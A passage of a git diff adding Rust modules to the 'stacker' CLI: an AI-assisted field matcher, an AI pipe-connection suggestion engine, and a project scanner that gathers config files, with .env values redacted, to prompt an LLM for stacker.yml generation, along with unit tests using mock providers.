contain markdown code fences. +fn extract_json_block(text: &str) -> &str { + // Try to find ```json ... ``` block + if let Some(start) = text.find("```json") { + let json_start = start + "```json".len(); + if let Some(end) = text[json_start..].find("```") { + return text[json_start..json_start + end].trim(); + } + } + // Try ``` ... ``` block + if let Some(start) = text.find("```") { + let json_start = start + "```".len(); + // Skip optional language identifier on first line + let content = &text[json_start..]; + let actual_start = content.find('\n').map(|n| n + 1).unwrap_or(0); + if let Some(end) = content[actual_start..].find("```") { + return content[actual_start..actual_start + end].trim(); + } + } + // Assume the whole response is JSON + text.trim() +} + +#[cfg(test)] +mod tests { + use super::*; + use crate::cli::ai_client::AiProvider; + use crate::cli::error::CliError; + use serde_json::json; + + /// Mock AI provider for testing. + struct MockAiProvider { + response: String, + } + + impl MockAiProvider { + fn new(response: &str) -> Self { + Self { + response: response.to_string(), + } + } + } + + impl AiProvider for MockAiProvider { + fn name(&self) -> &str { + "mock" + } + fn complete(&self, _prompt: &str, _context: &str) -> Result { + Ok(self.response.clone()) + } + } + + #[test] + fn test_ai_field_match_basic() { + let mock = MockAiProvider::new( + r#"{"mappings": {"email": {"source": "$.user_email", "confidence": 0.95}, "name": {"source": "$.display_name", "confidence": 0.88}}, "transformations": []}"#, + ); + let matcher = AiFieldMatcher::from_provider(Box::new(mock), "test-model".to_string()); + + let src = vec![ + "user_email".to_string(), + "display_name".to_string(), + "id".to_string(), + ]; + let tgt = vec!["email".to_string(), "name".to_string()]; + let result = matcher.match_fields(&src, &tgt, None); + + assert_eq!(result.mode, MatchingMode::Ai); + let map = result.mapping.as_object().unwrap(); + assert_eq!(map["email"], "$.user_email"); + assert_eq!(map["name"], "$.display_name"); + assert!((*result.confidence.get("email").unwrap() - 0.95).abs() < 0.01); + assert!((*result.confidence.get("name").unwrap() - 0.88).abs() < 0.01); + } + + #[test] + fn test_ai_field_match_with_transformations() { + let mock = MockAiProvider::new( + r#"{"mappings": {"email": {"source": "$.mail", "confidence": 0.9}}, "transformations": [{"target": "full_name", "expression": "concat($.first_name, ' ', $.last_name)", "description": "Combine first and last name"}]}"#, + ); + let matcher = AiFieldMatcher::from_provider(Box::new(mock), "test-model".to_string()); + + let src = vec![ + "mail".to_string(), + "first_name".to_string(), + "last_name".to_string(), + ]; + let tgt = vec!["email".to_string(), "full_name".to_string()]; + let result = matcher.match_fields(&src, &tgt, None); + + assert_eq!(result.suggestions.len(), 1); + assert_eq!(result.suggestions[0].target_field, "full_name"); + assert!(result.suggestions[0].expression.contains("concat")); + } + + #[test] + fn test_ai_field_match_with_code_fence() { + let mock = MockAiProvider::new( + "Here's the mapping:\n```json\n{\"mappings\": {\"email\": {\"source\": \"$.mail\", \"confidence\": 0.9}}, \"transformations\": []}\n```", + ); + let matcher = AiFieldMatcher::from_provider(Box::new(mock), "test-model".to_string()); + + let src = vec!["mail".to_string()]; + let tgt = vec!["email".to_string()]; + let result = matcher.match_fields(&src, &tgt, None); + + assert_eq!(result.mode, MatchingMode::Ai); + let map = result.mapping.as_object().unwrap(); + assert_eq!(map["email"], "$.mail"); + } + + #[test] + fn test_ai_field_match_fallback_on_bad_response() { + let mock = MockAiProvider::new("This is not JSON at all!"); + let matcher = AiFieldMatcher::from_provider(Box::new(mock), "test-model".to_string()); + + let src = vec!["email".to_string()]; + let tgt = vec!["email".to_string()]; + let result = matcher.match_fields(&src, &tgt, None); + + // Falls back to deterministic + assert_eq!(result.mode, MatchingMode::Deterministic); + let map = result.mapping.as_object().unwrap(); + assert_eq!(map["email"], "$.email"); + } + + #[test] + fn test_ai_field_match_fallback_on_provider_error() { + struct FailingProvider; + impl AiProvider for FailingProvider { + fn name(&self) -> &str { + "failing" + } + fn complete(&self, _: &str, _: &str) -> Result { + Err(CliError::AiProviderError { + provider: "failing".to_string(), + message: "Connection refused".to_string(), + }) + } + } + + let matcher = AiFieldMatcher::from_provider(Box::new(FailingProvider), "test".to_string()); + let src = vec!["email".to_string()]; + let tgt = vec!["email".to_string()]; + let result = matcher.match_fields(&src, &tgt, None); + + assert_eq!(result.mode, MatchingMode::Deterministic); + } + + #[test] + fn test_extract_json_block_bare() { + let input = r#"{"mappings": {}}"#; + assert_eq!(extract_json_block(input), r#"{"mappings": {}}"#); + } + + #[test] + fn test_extract_json_block_fenced() { + let input = "Some text\n```json\n{\"key\": \"value\"}\n```\nMore text"; + assert_eq!(extract_json_block(input), "{\"key\": \"value\"}"); + } + + #[test] + fn test_build_prompt_with_sample() { + let mock = MockAiProvider::new("{}"); + let matcher = AiFieldMatcher::from_provider(Box::new(mock), "test".to_string()); + let sample = json!({"email": "test@example.com", "name": "John"}); + let prompt = matcher.build_prompt( + &["email".to_string(), "name".to_string()], + &["mail".to_string()], + Some(&sample), + ); + assert!(prompt.contains("Source fields: [email, name]")); + assert!(prompt.contains("Target fields: [mail]")); + assert!(prompt.contains("Sample source data:")); + } +} diff --git a/stacker/stacker/src/cli/ai_pipe_suggest.rs b/stacker/stacker/src/cli/ai_pipe_suggest.rs new file mode 100644 index 0000000..27dbdcc --- /dev/null +++ b/stacker/stacker/src/cli/ai_pipe_suggest.rs @@ -0,0 +1,279 @@ +use crate::cli::ai_client::{create_provider, AiProvider}; +use crate::cli::config_parser::AiConfig; +use crate::cli::error::CliError; +use serde::{Deserialize, Serialize}; + +// ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━ +// AI Pipe Connection Suggestion Engine +// ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━ + +const PIPE_SUGGEST_SYSTEM_PROMPT: &str = "\ +You are a data integration architect. Given two application API endpoint lists, \ +suggest meaningful pipe connections between them. A pipe connects a source endpoint \ +(that produces data) to a target endpoint (that consumes data). + +Rules: +- Only suggest connections where data from the source can logically flow to the target +- Rank by confidence (0.0–1.0) +- Include a brief description of what each connection achieves +- Maximum 10 suggestions + +Respond with ONLY valid JSON in this exact format: +{ + \"suggestions\": [ + { + \"source\": {\"method\": \"GET\", \"path\": \"/api/posts\"}, + \"target\": {\"method\": \"POST\", \"path\": \"/api/messages\"}, + \"description\": \"Send new blog posts as messages\", + \"confidence\": 0.92 + } + ] +}"; + +#[derive(Debug, Clone, Serialize, Deserialize)] +pub struct EndpointInfo { + pub method: String, + pub path: String, + #[serde(skip_serializing_if = "Option::is_none")] + pub description: Option, + #[serde(skip_serializing_if = "Option::is_none")] + pub fields: Option>, +} + +#[derive(Debug, Clone, Serialize, Deserialize)] +pub struct PipeSuggestion { + pub source: EndpointInfo, + pub target: EndpointInfo, + pub description: String, + pub confidence: f32, +} + +pub struct AiPipeSuggest { + provider: Box, +} + +impl AiPipeSuggest { + pub fn new(config: &AiConfig) -> Result { + let provider = create_provider(config)?; + Ok(Self { provider }) + } + + #[cfg(test)] + pub fn from_provider(provider: Box) -> Self { + Self { provider } + } + + /// Suggest pipe connections between source and target app endpoints. + pub fn suggest( + &self, + source_app: &str, + target_app: &str, + source_endpoints: &[EndpointInfo], + target_endpoints: &[EndpointInfo], + ) -> Result, CliError> { + let prompt = self.build_prompt(source_app, target_app, source_endpoints, target_endpoints); + + let response = self + .provider + .complete(PIPE_SUGGEST_SYSTEM_PROMPT, &prompt)?; + + match self.parse_response(&response) { + Some(mut suggestions) => { + // Sort by confidence descending + suggestions.sort_by(|a, b| { + b.confidence + .partial_cmp(&a.confidence) + .unwrap_or(std::cmp::Ordering::Equal) + }); + Ok(suggestions) + } + None => { + eprintln!(" ⚠ Failed to parse AI pipe suggestions"); + Ok(Vec::new()) + } + } + } + + fn build_prompt( + &self, + source_app: &str, + target_app: &str, + source_endpoints: &[EndpointInfo], + target_endpoints: &[EndpointInfo], + ) -> String { + let src_json = serde_json::to_string_pretty(source_endpoints).unwrap_or_default(); + let tgt_json = serde_json::to_string_pretty(target_endpoints).unwrap_or_default(); + + format!( + "Source app: {source_app}\nSource endpoints:\n{src_json}\n\n\ + Target app: {target_app}\nTarget endpoints:\n{tgt_json}" + ) + } + + fn parse_response(&self, response: &str) -> Option> { + let json_str = extract_json_block(response); + let parsed: serde_json::Value = serde_json::from_str(json_str).ok()?; + + let suggestions_arr = parsed.get("suggestions")?.as_array()?; + let mut result = Vec::new(); + + for item in suggestions_arr { + let source = parse_endpoint_info(item.get("source")?)?; + let target = parse_endpoint_info(item.get("target")?)?; + let description = item.get("description")?.as_str()?.to_string(); + let confidence = item.get("confidence")?.as_f64()? as f32; + + result.push(PipeSuggestion { + source, + target, + description, + confidence, + }); + } + + Some(result) + } +} + +fn parse_endpoint_info(val: &serde_json::Value) -> Option { + Some(EndpointInfo { + method: val.get("method")?.as_str()?.to_string(), + path: val.get("path")?.as_str()?.to_string(), + description: val + .get("description") + .and_then(|d| d.as_str()) + .map(|s| s.to_string()), + fields: None, + }) +} + +/// Extract a JSON block from a response that may contain markdown code fences. +fn extract_json_block(text: &str) -> &str { + if let Some(start) = text.find("```json") { + let json_start = start + "```json".len(); + if let Some(end) = text[json_start..].find("```") { + return text[json_start..json_start + end].trim(); + } + } + if let Some(start) = text.find("```") { + let json_start = start + "```".len(); + let content = &text[json_start..]; + let actual_start = content.find('\n').map(|n| n + 1).unwrap_or(0); + if let Some(end) = content[actual_start..].find("```") { + return content[actual_start..actual_start + end].trim(); + } + } + text.trim() +} + +#[cfg(test)] +mod tests { + use super::*; + use crate::cli::ai_client::AiProvider; + use crate::cli::error::CliError; + + struct MockAiProvider { + response: String, + } + + impl MockAiProvider { + fn new(response: &str) -> Self { + Self { + response: response.to_string(), + } + } + } + + impl AiProvider for MockAiProvider { + fn name(&self) -> &str { + "mock" + } + fn complete(&self, _prompt: &str, _context: &str) -> Result { + Ok(self.response.clone()) + } + } + + #[test] + fn test_suggest_basic() { + let mock = MockAiProvider::new( + r#"{"suggestions": [{"source": {"method": "GET", "path": "/api/posts"}, "target": {"method": "POST", "path": "/api/messages"}, "description": "Post blog updates to chat", "confidence": 0.92}]}"#, + ); + let engine = AiPipeSuggest::from_provider(Box::new(mock)); + + let src = vec![EndpointInfo { + method: "GET".to_string(), + path: "/api/posts".to_string(), + description: None, + fields: None, + }]; + let tgt = vec![EndpointInfo { + method: "POST".to_string(), + path: "/api/messages".to_string(), + description: None, + fields: None, + }]; + + let result = engine.suggest("wordpress", "slack", &src, &tgt).unwrap(); + assert_eq!(result.len(), 1); + assert_eq!(result[0].source.path, "/api/posts"); + assert_eq!(result[0].target.path, "/api/messages"); + assert!(result[0].confidence > 0.9); + } + + #[test] + fn test_suggest_multiple_sorted_by_confidence() { + let mock = MockAiProvider::new( + r#"{"suggestions": [ + {"source": {"method": "GET", "path": "/api/posts"}, "target": {"method": "POST", "path": "/api/feed"}, "description": "Low confidence", "confidence": 0.5}, + {"source": {"method": "GET", "path": "/api/users"}, "target": {"method": "POST", "path": "/api/contacts"}, "description": "High confidence", "confidence": 0.95} + ]}"#, + ); + let engine = AiPipeSuggest::from_provider(Box::new(mock)); + + let result = engine.suggest("app1", "app2", &[], &[]).unwrap(); + assert_eq!(result.len(), 2); + assert!(result[0].confidence > result[1].confidence); + assert_eq!(result[0].description, "High confidence"); + } + + #[test] + fn test_suggest_empty_on_bad_response() { + let mock = MockAiProvider::new("Not valid JSON"); + let engine = AiPipeSuggest::from_provider(Box::new(mock)); + + let result = engine.suggest("app1", "app2", &[], &[]).unwrap(); + assert!(result.is_empty()); + } + + #[test] + fn test_suggest_error_propagation() { + struct FailingProvider; + impl AiProvider for FailingProvider { + fn name(&self) -> &str { + "failing" + } + fn complete(&self, _: &str, _: &str) -> Result { + Err(CliError::AiProviderError { + provider: "failing".to_string(), + message: "timeout".to_string(), + }) + } + } + + let engine = AiPipeSuggest::from_provider(Box::new(FailingProvider)); + let result = engine.suggest("app1", "app2", &[], &[]); + assert!(result.is_err()); + } + + #[test] + fn test_suggest_with_code_fence() { + let mock = MockAiProvider::new( + "Here are my suggestions:\n```json\n{\"suggestions\": [{\"source\": {\"method\": \"GET\", \"path\": \"/data\"}, \"target\": {\"method\": \"POST\", \"path\": \"/ingest\"}, \"description\": \"Sync data\", \"confidence\": 0.88}]}\n```", + ); + let engine = AiPipeSuggest::from_provider(Box::new(mock)); + + let result = engine.suggest("src", "tgt", &[], &[]).unwrap(); + assert_eq!(result.len(), 1); + assert_eq!(result[0].description, "Sync data"); + } +} diff --git a/stacker/stacker/src/cli/ai_scanner.rs b/stacker/stacker/src/cli/ai_scanner.rs new file mode 100644 index 0000000..91aec1e --- /dev/null +++ b/stacker/stacker/src/cli/ai_scanner.rs @@ -0,0 +1,1012 @@ +use std::collections::HashMap; +use std::path::Path; + +use crate::cli::ai_client::AiProvider; +use crate::cli::detector::{detect_project, FileSystem, ProjectDetection, RealFileSystem}; +use crate::cli::error::CliError; + +// ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━ +// ProjectScanResult — rich project context for AI prompt +// ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━ + +/// Rich project context gathered by scanning files, used to build the AI prompt +/// for stacker.yml generation. +#[derive(Debug, Clone, Default)] +pub struct ProjectScanResult { + /// Base detection (app type, has_dockerfile, etc.) + pub detection: ProjectDetection, + + /// All filenames found at project root + pub root_files: Vec, + + /// Partial contents of key config files (package.json, requirements.txt, etc.) + /// Key = filename, Value = content (truncated to MAX_FILE_CONTENT_LEN) + pub file_contents: HashMap, + + /// Inferred project name (from directory name) + pub project_name: String, + + /// Existing Dockerfile content, if found + pub existing_dockerfile: Option, + + /// Existing docker-compose content, if found + pub existing_compose: Option, + + /// Existing .env keys (values redacted for safety) + pub env_keys: Vec, + + /// Locally inferred pipe opportunities discovered from dependencies, + /// env keys, and existing compose/services. These are advisory hints for + /// init-time AI generation, not runtime-verified endpoints. + pub pipe_hints: Vec, +} + +/// Advisory local integration hint derived from static project evidence. +#[derive(Debug, Clone, PartialEq, Eq)] +pub struct PipeHint { + pub source: String, + pub target: String, + pub kind: String, + pub confidence: PipeHintConfidence, + pub evidence: Vec, +} + +#[derive(Debug, Clone, Copy, PartialEq, Eq)] +pub enum PipeHintConfidence { + High, + Medium, +} + +impl PipeHintConfidence { + fn as_str(self) -> &'static str { + match self { + Self::High => "high", + Self::Medium => "medium", + } + } +} + +/// Max bytes to read from any single file for AI context. +const MAX_FILE_CONTENT_LEN: usize = 4096; + +/// Files worth reading for richer AI context, mapped by app type. +const CONTEXT_FILES: &[&str] = &[ + "package.json", + "requirements.txt", + "Pipfile", + "pyproject.toml", + "Cargo.toml", + "go.mod", + "composer.json", + "Gemfile", + "Makefile", + "README.md", + "Dockerfile", + "docker-compose.yml", + "docker-compose.yaml", + "compose.yml", + "compose.yaml", + ".env", + ".env.example", + "tsconfig.json", + "next.config.js", + "next.config.mjs", + "nuxt.config.ts", + "vite.config.ts", + "vite.config.js", + "webpack.config.js", + "angular.json", + "manage.py", + "setup.py", + "setup.cfg", + "pom.xml", + "build.gradle", +]; + +// ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━ +// scan_project — deep project scan for AI context +// ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━ + +/// Scan a project directory gathering rich context for AI-powered config generation. +/// +/// This goes beyond `detect_project()` by also reading key config files +/// so the AI can make informed decisions about services, ports, env vars, etc. +pub fn scan_project(project_dir: &Path, fs: &dyn FileSystem) -> ProjectScanResult { + let detection = detect_project(project_dir, fs); + + let root_files = fs.list_dir(project_dir).unwrap_or_default(); + + let project_name = project_dir + .file_name() + .and_then(|n| n.to_str()) + .unwrap_or("my-app") + .to_string(); + + let mut file_contents = HashMap::new(); + let mut existing_dockerfile = None; + let mut existing_compose = None; + let mut env_keys = Vec::new(); + + for filename in &root_files { + // Only read files we recognise as valuable context + if !CONTEXT_FILES.iter().any(|cf| cf == filename) { + continue; + } + + let file_path = project_dir.join(filename); + let content = match std::fs::read_to_string(&file_path) { + Ok(c) => c, + Err(_) => continue, + }; + + // Truncate large files + let truncated = if content.len() > MAX_FILE_CONTENT_LEN { + format!("{}... (truncated)", &content[..MAX_FILE_CONTENT_LEN]) + } else { + content.clone() + }; + + // Capture special files + if filename == "Dockerfile" { + existing_dockerfile = Some(truncated.clone()); + } + + if filename == "docker-compose.yml" + || filename == "docker-compose.yaml" + || filename == "compose.yml" + || filename == "compose.yaml" + { + existing_compose = Some(truncated.clone()); + } + + // For .env files, extract keys only (redact values for security) + if filename == ".env" || filename == ".env.example" { + for line in content.lines() { + let trimmed = line.trim(); + if trimmed.is_empty() || trimmed.starts_with('#') { + continue; + } + if let Some(key) = trimmed.split('=').next() { + env_keys.push(key.trim().to_string()); + } + } + // Store only the key list, not values + file_contents.insert( + filename.clone(), + format!("# Environment keys: {}", env_keys.join(", ")), + ); + continue; + } + + file_contents.insert(filename.clone(), truncated); + } + + let pipe_hints = discover_local_pipe_hints( + &project_name, + detection.app_type.to_string(), + &root_files, + &file_contents, + &env_keys, + ); + + ProjectScanResult { + detection, + root_files, + file_contents, + project_name, + existing_dockerfile, + existing_compose, + env_keys, + pipe_hints, + } +} + +fn discover_local_pipe_hints( + project_name: &str, + detected_app_type: String, + root_files: &[String], + file_contents: &HashMap, + env_keys: &[String], +) -> Vec { + let mut hints = Vec::new(); + let lower_env_keys: Vec = env_keys.iter().map(|k| k.to_lowercase()).collect(); + + let package_json = file_contents + .get("package.json") + .map(|c| c.to_lowercase()) + .unwrap_or_default(); + let requirements = file_contents + .get("requirements.txt") + .map(|c| c.to_lowercase()) + .unwrap_or_default(); + let pyproject = file_contents + .get("pyproject.toml") + .map(|c| c.to_lowercase()) + .unwrap_or_default(); + let compose = file_contents + .get("docker-compose.yml") + .or_else(|| file_contents.get("docker-compose.yaml")) + .or_else(|| file_contents.get("compose.yml")) + .or_else(|| file_contents.get("compose.yaml")) + .map(|c| c.to_lowercase()) + .unwrap_or_default(); + + let mut push_hint = + |target: &str, kind: &str, confidence: PipeHintConfidence, evidence: Vec| { + if evidence.is_empty() { + return; + } + hints.push(PipeHint { + source: project_name.to_string(), + target: target.to_string(), + kind: kind.to_string(), + confidence, + evidence, + }); + }; + + let mut webhook_evidence = Vec::new(); + if package_json.contains("webhook") + || requirements.contains("webhook") + || pyproject.contains("webhook") + { + webhook_evidence.push("webhook-related dependency detected".to_string()); + } + if lower_env_keys.iter().any(|k| k.contains("webhook")) { + webhook_evidence.push("env keys reference webhooks".to_string()); + } + if lower_env_keys.iter().any(|k| k.contains("slack")) { + webhook_evidence.push("env keys reference Slack integration".to_string()); + } + if lower_env_keys.iter().any(|k| k.contains("discord")) { + webhook_evidence.push("env keys reference Discord integration".to_string()); + } + if !webhook_evidence.is_empty() { + push_hint( + "external-webhook", + "webhook", + PipeHintConfidence::Medium, + webhook_evidence, + ); + } + + let mut postgres_evidence = Vec::new(); + if compose.contains("postgres") { + postgres_evidence.push("compose references postgres".to_string()); + } + if lower_env_keys + .iter() + .any(|k| k == "database_url" || k.contains("postgres")) + { + postgres_evidence.push("env keys reference postgres/database".to_string()); + } + if !postgres_evidence.is_empty() { + push_hint( + "postgres", + "database", + PipeHintConfidence::High, + postgres_evidence, + ); + } + + let mut redis_evidence = Vec::new(); + if compose.contains("redis") { + redis_evidence.push("compose references redis".to_string()); + } + if lower_env_keys + .iter() + .any(|k| k == "redis_url" || k.contains("redis")) + { + redis_evidence.push("env keys reference redis".to_string()); + } + if !redis_evidence.is_empty() { + push_hint( + "redis", + "cache-or-queue", + PipeHintConfidence::High, + redis_evidence, + ); + } + + let mut qdrant_evidence = Vec::new(); + if compose.contains("qdrant") { + qdrant_evidence.push("compose references qdrant".to_string()); + } + if lower_env_keys.iter().any(|k| k.contains("qdrant")) { + qdrant_evidence.push("env keys reference qdrant".to_string()); + } + if !qdrant_evidence.is_empty() { + push_hint( + "qdrant", + "vector-store", + PipeHintConfidence::High, + qdrant_evidence, + ); + } + + let mut llm_evidence = Vec::new(); + if package_json.contains("openai") + || requirements.contains("openai") + || pyproject.contains("openai") + { + llm_evidence.push("OpenAI dependency detected".to_string()); + } + if package_json.contains("anthropic") + || requirements.contains("anthropic") + || pyproject.contains("anthropic") + { + llm_evidence.push("Anthropic dependency detected".to_string()); + } + if compose.contains("ollama") || lower_env_keys.iter().any(|k| k.contains("ollama")) { + llm_evidence.push("local Ollama usage detected".to_string()); + } + if !llm_evidence.is_empty() { + push_hint( + "llm-provider", + "ai-provider", + PipeHintConfidence::Medium, + llm_evidence, + ); + } + + let mut frontend_api_evidence = Vec::new(); + let looks_like_frontend = detected_app_type == "node" + && root_files.iter().any(|f| { + f == "next.config.js" + || f == "next.config.mjs" + || f == "vite.config.ts" + || f == "vite.config.js" + }); + if looks_like_frontend { + frontend_api_evidence.push("frontend framework config detected".to_string()); + } + if lower_env_keys + .iter() + .any(|k| k.contains("api_url") || k.contains("api_base") || k.contains("backend_url")) + { + frontend_api_evidence.push("env keys reference backend/api URL".to_string()); + } + if !frontend_api_evidence.is_empty() { + push_hint( + "backend-api", + "http-api", + PipeHintConfidence::Medium, + frontend_api_evidence, + ); + } + + hints +} + +// ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━ +// AI prompt building for stacker.yml generation +// ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━ + +/// System prompt that instructs the AI how to generate stacker.yml. +const SYSTEM_PROMPT: &str = "\ +You are an expert DevOps engineer integrated into the `stacker` CLI tool. \ +Your job is to generate a complete, production-ready `stacker.yml` configuration \ +based on the project files and context provided. + +The `stacker.yml` schema supports these top-level keys: +- name: (string, required) Project name +- version: (string) Version label +- app: Application source config + - type: static|node|python|rust|go|php|custom + - path: Source directory (default '.') + - dockerfile: Path to custom Dockerfile + - image: Pre-built Docker image + - build: { context: '.', args: { KEY: VALUE } } +- services: Array of sidecar containers + - name, image, ports[], environment{}, volumes[], depends_on[] +- proxy: Reverse proxy config + - type: nginx|nginx-proxy-manager|traefik|none + - auto_detect: bool + - domains: [{ domain, ssl: auto|manual|off, upstream }] +- deploy: + - target: local|cloud|server + - cloud: { provider: hetzner|digitalocean|aws|linode|vultr, orchestrator: local|remote, region, size, ssh_key } + - server: { host (REQUIRED), user (default 'root'), port (default 22), ssh_key } + - registry: { username, password, server } — Docker registry credentials for private images + - compose_file: path to existing docker-compose (skips generation) +- monitoring: { status_panel: bool, healthcheck: { endpoint, interval }, metrics: { enabled, telegraf } } +- hooks: { pre_build, post_deploy, on_failure } (paths to scripts) +- env_file: Path to .env file +- env: { KEY: VALUE } inline environment variables + +Rules: +1. Output ONLY valid YAML — no markdown fences, no explanations, no comments except brief inline ones. +2. Use ${VAR_NAME} syntax for secrets and sensitive values (DB passwords, API keys). +3. Include appropriate services (databases, caches, queues) based on detected dependencies. +4. Set proper port mappings avoiding conflicts. +5. Add volumes for data persistence. +6. Use depends_on for service ordering. +7. Add healthcheck and monitoring when appropriate. +8. If a Dockerfile already exists, set app.type to 'custom' and reference it via app.dockerfile. +9. If a docker-compose already exists, set deploy.compose_file to reference it. +10. Keep the configuration practical and deployable — don't add services that aren't needed."; + +/// Expose the system prompt used for AI-based stacker.yml generation. +pub fn generation_system_prompt() -> &'static str { + SYSTEM_PROMPT +} + +/// Build the user prompt from the scan result. +pub fn build_generation_prompt(scan: &ProjectScanResult) -> String { + let mut sections = Vec::new(); + + // Project overview + sections.push(format!( + "Project: {}\nDetected type: {}\nRoot files: {}", + scan.project_name, + scan.detection.app_type, + scan.root_files.join(", ") + )); + + // Existing infrastructure + if scan.detection.has_dockerfile { + sections.push("Has existing Dockerfile: yes".to_string()); + } + if scan.detection.has_compose { + sections.push("Has existing docker-compose: yes".to_string()); + } + if scan.detection.has_env_file { + sections.push(format!( + "Has .env file with keys: {}", + scan.env_keys.join(", ") + )); + } + + // File contents for context + for (filename, content) in &scan.file_contents { + sections.push(format!("--- {} ---\n{}", filename, content)); + } + + // Existing Dockerfile content + if let Some(ref df) = scan.existing_dockerfile { + sections.push(format!("--- Existing Dockerfile ---\n{}", df)); + } + + // Existing compose content + if let Some(ref dc) = scan.existing_compose { + sections.push(format!("--- Existing docker-compose ---\n{}", dc)); + } + + if !scan.pipe_hints.is_empty() { + let formatted = scan + .pipe_hints + .iter() + .map(|hint| { + format!( + "- {} -> {} [{}] confidence={} evidence={}", + hint.source, + hint.target, + hint.kind, + hint.confidence.as_str(), + hint.evidence.join("; ") + ) + }) + .collect::>() + .join("\n"); + sections.push(format!( + "Potential local pipe / integration hints (advisory, not runtime-verified):\n{}", + formatted + )); + } + + sections.push( + "Generate a complete stacker.yml for this project. Output ONLY valid YAML.".to_string(), + ); + + sections.join("\n\n") +} + +/// Build the `(system_prompt, user_prompt)` pair for stacker.yml generation. +pub fn build_generation_request(project_dir: &Path) -> (String, String) { + let fs = RealFileSystem; + let scan = scan_project(project_dir, &fs); + ( + generation_system_prompt().to_string(), + build_generation_prompt(&scan), + ) +} + +// ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━ +// generate_config_with_ai — core AI generation function +// ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━ + +/// Scan the project, send context to AI, and return generated stacker.yml content. +/// +/// The returned string is raw YAML ready to be written to disk. +/// The caller is responsible for writing the file and validating it. +pub fn generate_config_with_ai( + project_dir: &Path, + provider: &dyn AiProvider, +) -> Result { + let fs = RealFileSystem; + generate_config_with_ai_impl(project_dir, provider, &fs) +} + +/// Inner implementation taking a `FileSystem` for testability. +pub fn generate_config_with_ai_impl( + project_dir: &Path, + provider: &dyn AiProvider, + fs: &dyn FileSystem, +) -> Result { + let scan = scan_project(project_dir, fs); + let user_prompt = build_generation_prompt(&scan); + let raw_response = provider.complete(&user_prompt, SYSTEM_PROMPT)?; + + // Strip markdown fences if the model wrapped the YAML in ```yaml ... ``` + let yaml = strip_code_fences(&raw_response); + + // Validate that it's parseable YAML (but don't require it to be a valid StackerConfig + // yet — the caller will do from_str() and report detailed errors) + serde_yaml::from_str::(&yaml).map_err(|e| CliError::AiProviderError { + provider: provider.name().to_string(), + message: format!( + "AI generated invalid YAML: {}. Raw response:\n{}", + e, raw_response + ), + })?; + + Ok(yaml) +} + +/// Strip markdown code fences from AI response. +/// Handles ```yaml\n...\n```, ```yml\n...\n```, and ```\n...\n```. +pub fn strip_code_fences(text: &str) -> String { + let trimmed = text.trim(); + + // Check for opening fence + let without_open = if trimmed.starts_with("```yaml") || trimmed.starts_with("```yml") { + // Remove opening fence line + trimmed.splitn(2, '\n').nth(1).unwrap_or(trimmed) + } else if trimmed.starts_with("```") { + trimmed.splitn(2, '\n').nth(1).unwrap_or(trimmed) + } else { + return trimmed.to_string(); + }; + + // Remove closing fence + if without_open.trim_end().ends_with("```") { + let end = without_open.rfind("```").unwrap_or(without_open.len()); + without_open[..end].trim_end().to_string() + } else { + without_open.to_string() + } +} + +// ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━ +// Tests +// ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━ + +#[cfg(test)] +mod tests { + use super::*; + use crate::cli::config_parser::{AppType, StackerConfig}; + use crate::cli::detector::FileSystem; + + // ── Mock filesystem ───────────────────────────── + + struct MockFs { + files: Vec, + } + + impl MockFs { + fn with_files(files: &[&str]) -> Self { + Self { + files: files.iter().map(|s| s.to_string()).collect(), + } + } + } + + impl FileSystem for MockFs { + fn exists(&self, path: &Path) -> bool { + let name = path + .file_name() + .and_then(|n| n.to_str()) + .unwrap_or_default(); + self.files.contains(&name.to_string()) + } + + fn list_dir(&self, _path: &Path) -> Result, std::io::Error> { + Ok(self.files.clone()) + } + + fn read_to_string(&self, _path: &Path) -> Result { + Err(std::io::Error::new( + std::io::ErrorKind::Unsupported, + "read_to_string not used in ai_scanner tests", + )) + } + } + + // ── Mock AI provider ──────────────────────────── + + struct MockAi { + response: String, + } + + impl MockAi { + fn with_yaml(yaml: &str) -> Self { + Self { + response: yaml.to_string(), + } + } + + fn with_fenced_yaml(yaml: &str) -> Self { + Self { + response: format!("```yaml\n{}\n```", yaml), + } + } + } + + impl AiProvider for MockAi { + fn name(&self) -> &str { + "mock" + } + + fn complete(&self, _prompt: &str, _context: &str) -> Result { + Ok(self.response.clone()) + } + } + + struct FailingAi; + + impl AiProvider for FailingAi { + fn name(&self) -> &str { + "failing" + } + + fn complete(&self, _prompt: &str, _context: &str) -> Result { + Err(CliError::AiProviderError { + provider: "failing".to_string(), + message: "connection refused".to_string(), + }) + } + } + + // ── strip_code_fences ─────────────────────────── + + #[test] + fn test_strip_yaml_fences() { + let input = "```yaml\nname: test\napp:\n type: node\n```"; + let result = strip_code_fences(input); + assert_eq!(result, "name: test\napp:\n type: node"); + } + + #[test] + fn test_strip_yml_fences() { + let input = "```yml\nname: test\n```"; + let result = strip_code_fences(input); + assert_eq!(result, "name: test"); + } + + #[test] + fn test_strip_generic_fences() { + let input = "```\nname: test\n```"; + let result = strip_code_fences(input); + assert_eq!(result, "name: test"); + } + + #[test] + fn test_strip_no_fences() { + let input = "name: test\napp:\n type: node"; + let result = strip_code_fences(input); + assert_eq!(result, input); + } + + // ── scan_project ──────────────────────────────── + + #[test] + fn test_scan_project_basic() { + let fs = MockFs::with_files(&["package.json", "src", "README.md"]); + let result = scan_project(Path::new("/test-project"), &fs); + + assert_eq!(result.detection.app_type, AppType::Node); + assert_eq!(result.root_files.len(), 3); + // Note: file_contents won't have actual data since MockFs doesn't provide file I/O, + // but root_files and 